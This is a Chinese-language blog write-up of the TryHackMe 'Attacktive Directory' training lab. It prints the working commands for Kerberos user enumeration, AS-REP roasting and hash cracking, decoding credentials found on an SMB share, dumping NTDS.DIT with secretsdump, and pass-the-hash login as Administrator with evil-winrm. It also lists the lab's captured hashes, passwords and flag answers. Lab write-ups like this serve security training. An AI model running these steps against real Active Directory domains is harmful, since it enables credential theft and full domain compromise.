前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >TryHackMe-Attacktive Directory

TryHackMe-Attacktive Directory

作者头像
MssnHarvey
发布2022-12-30 15:54:26
6900
发布2022-12-30 15:54:26
举报
文章被收录于专栏:HarveyHarvey

任务1 部署机器

在THM上启动机器

连接openvpn

代码语言:javascript
复制
nohup openvpn mssnharvey.ovpn &

查看下IP是10.18.98.53

再ping一下攻击的IP进行测试

任务2 Setup

安装 Impacket

代码语言:javascript
复制
git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket
pip3 install -r /opt/impacket/requirements.txt
cd /opt/impacket/ && python3 ./setup.py install
# 仍有问题,可以按下面的命令进行安装
sudo git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket
sudo pip3 install -r /opt/impacket/requirements.txt
cd /opt/impacket/ 
sudo pip3 install .
sudo python3 setup.py install

安装 Bloodhound 和 Neo4j

代码语言:javascript
复制
apt install bloodhound neo4j
# 出现问题的话可以apt update && apt upgrade再安装

任务3 欢迎来到攻击性目录

先用nmap扫一下发现开了DNS、IIS、Kerberos、RPC、netbios、Active Directory等服务

代码语言:javascript
复制
nmap -sV -T4 -p- -d --script=vuln 10.10.230.224
# 后面网上搜到这样扫描效果更好一些
nmap -sV -sC -oN nmap.out 10.10.230.224

问题1:什么工具可以让我们枚举端口 139/445?

回答:SMB会使用到139和445端口,而枚举SMB的工具则是enum4linux

问题2:机器的 NetBIOS 域名是什么?

回答:根据enum4linux可知是THM-AD,多次提到了NetBIOS 域名

在THM上开的AttackBox得到的信息要更多一些

问题3:人们通常将哪些无效 TLD 用于其 Active Directory 域?

回答:TLD代表顶级域,这里我们可以在前面namp扫描的结果中看到3389端口中提到的AD域

代码语言:javascript
复制
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2022-12-29T06:55:55+00:00; +2s from scanner time.
| ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local
| Not valid before: 2022-12-28T06:48:43
|_Not valid after:  2023-06-29T06:48:43
Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows

任务4 通过 Kerberos 枚举用户

问题1:Kerbrute 中的什么命令可以让我们枚举有效的用户名?

回答:userenum,具体可查看:https://github.com/ropnop/kerbrute

问题2:发现了哪些值得注意的帐户?(这些应该会跳出来)

回答:svc-admin(这VPN属实是太卡了😒全跑完得大半天

代码语言:javascript
复制
# userlist下载地址:https://raw.githubusercontent.com/Sq00ky/attacktive-directory-tools/master/userlist.txt

./kerbrute_linux_amd64 userenum --dc 10.10.230.224 -d spookysec.local userlist.txt -t 100

问题3:发现的其他值得注意的帐户是什么?(这些应该会跳出来)

回答:backup

任务5 滥用 Kerberos

问题1:我们有两个用户帐户,我们可以从中查询票证。您可以在没有密码的情况下从哪个用户帐户查询票证?

回答:svc-admin

利用impacket中的GetNPUsers脚本

代码语言:javascript
复制
python GetNPUsers.py -no-pass -usersfile /root/users.txt -dc-ip 10.10.230.224 spooky.local/
python GetNPUsers.py spookysec.local/svc-admin -no-pass -dc-ip 10.10.230.224

只有svc-admin可以在不需要提供密码的情况下请求票证

代码语言:javascript
复制
$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:408ee4a3e91ec877b931d35c56364c77$63dc9e093d6f3ddfd0074033786ed4d4d6e5f3e9f27be7f98866c0c91c4271c6c8a721eafa9e343a2b9638da64fe71d7563c31e51e6aac0686ba9025ab8ff2d41b8b24f38888cd803c70568744a12daa95cca16b73fa6bc5b20f1fb697b29fd1fe39fa0553ae07ad7e6e2f5232e306ee2abf3ee2ba8ebc704bc96f0d60cd245f96f4caa7c20c3a673fba2b25a384593b01e334560348a146d9168e1fc594b8c59e11382193bd2b3f1c421f9d5fdc61167c8f3bfa18d60fc6fca79923c16b707927719330363b593c28ccc0c7dd2c5e7696b43d45a4bc016341f773805c53f51d2b6ae4a0fa3c3280a18a9d53d9b5fd08337c

问题2:查看 Hashcat Examples Wiki 页面,我们从 KDC 检索了哪种类型的 Kerberos 哈希?(写明全名)

hint:https://hashcat.net/wiki/doku.php?id=example_hashes 搜索第一部分会有帮助!

回答:搜索一下$krb5asrep可知其Hash-Mode是18200,对应的Hash-Name是Kerberos 5, etype 23, AS-REP

问题3:hash是什么模式?

回答:从上可知是18200

问题4:现在用提供的修改后的密码列表破解哈希,用户帐户密码是什么?

回答:hashcat或者john爆破一下得到密码management2005

代码语言:javascript
复制
# passwordlist下载地址:https://raw.githubusercontent.com/Sq00ky/attacktive-directory-tools/master/passwordlist.txt

hashcat -m 18200 hash.txt /root/Aattacktive-Directory-tools/passwordlist.txt

john kerbhash --wordlist=/root/Aattacktive-Directory-tools/passwordlist.txt

任务6 回到基础

问题1:我们可以使用什么实用程序来映射远程 SMB 共享?

回答:smbclient

问题2:哪个选项将list shares?

回答:运行一下man smbclient可知是-L

代码语言:javascript
复制
-L|--list
This option allows you to look at what services are available on a server. You use it as smbclient -L host and a list should appear. The -I option may be useful if your NetBIOS names don't match your TCP/IP DNS host names or if you are trying to reach a host on another network.

问题3:服务器列出了多少个远程共享?

回答:6

代码语言:javascript
复制
smbclient -L 10.10.230.224 -U svc-admin

问题4:我们可以访问一个特定的共享,其中包含一个文本文件。是哪个份额?

回答:backup

代码语言:javascript
复制
smbclient \\\\10.10.230.224\\backup -U svc-admin

问题5:文件的内容是什么?

回答:YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw

这里没法直接cat得到内容,所以我们通过get下载文件再查看

代码语言:javascript
复制
get backup_credentials.txt

问题6:解码文件内容,完整内容是什么?

回答:很明显看的出是base64,解码得到backup@spookysec.local:backup2517860

任务7 在域内提升权限

问题1:什么方法允许我们转储 NTDS.DIT?

hint:阅读 secretsdump 输出!

回答:DRSUAPI

代码语言:javascript
复制
python secretsdump.py spookysec.local/backup:backup2517860@10.10.230.224

python secretsdump.py -just-dc backup@10.10.230.224

问题2:什么是管理员 NTLM 哈希?

回答:0e0363213e37b94221497260b0bcb4fc

问题3:什么攻击方法可以让我们在没有密码的情况下以用户身份进行身份验证?

回答:Pass the hash

问题4:使用名为 Evil-WinRM 的工具,什么选项可以让我们使用哈希?

回答:-H

任务8 标记提交面板

问题1:svc-admin

回答:TryHackMe{K3rb3r0s_Pr3_4uth}

这里我们就直接通过evil-winrm登录管理员用户然后通过切换用户目录来获取flag

代码语言:javascript
复制
evil-winrm -i 10.10.230.224 -u Administrator -H 0e0363213e37b94221497260b0bcb4fc
cd C:\Users\svc-admin\Desktop
dir
cat user.txt.txt

问题2:backup

回答:TryHackMe{B4ckM3UpSc0tty!}

问题3:Administrator

回答:TryHackMe{4ctiveD1rectoryM4st3r}

Final

再把前面任务1和2点下提交就完工啦🎉

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-12-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 任务1 部署机器
  • 任务2 Setup
  • 任务3 欢迎来到攻击性目录
  • 任务4 通过 Kerberos 枚举用户
  • 任务5 滥用 Kerberos
  • 任务6 回到基础
  • 任务7 在域内提升权限
  • 任务8 标记提交面板
  • Final
相关产品与服务
VPN 连接
VPN 连接(VPN Connections)是一种基于网络隧道技术,实现本地数据中心与腾讯云上资源连通的传输服务,它能帮您在 Internet 上快速构建一条安全、可靠的加密通道。VPN 连接具有配置简单,云端配置实时生效、可靠性高等特点,其网关可用性达到 99.95%,保证稳定、持续的业务连接,帮您轻松实现异地容灾、混合云部署等复杂业务场景。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档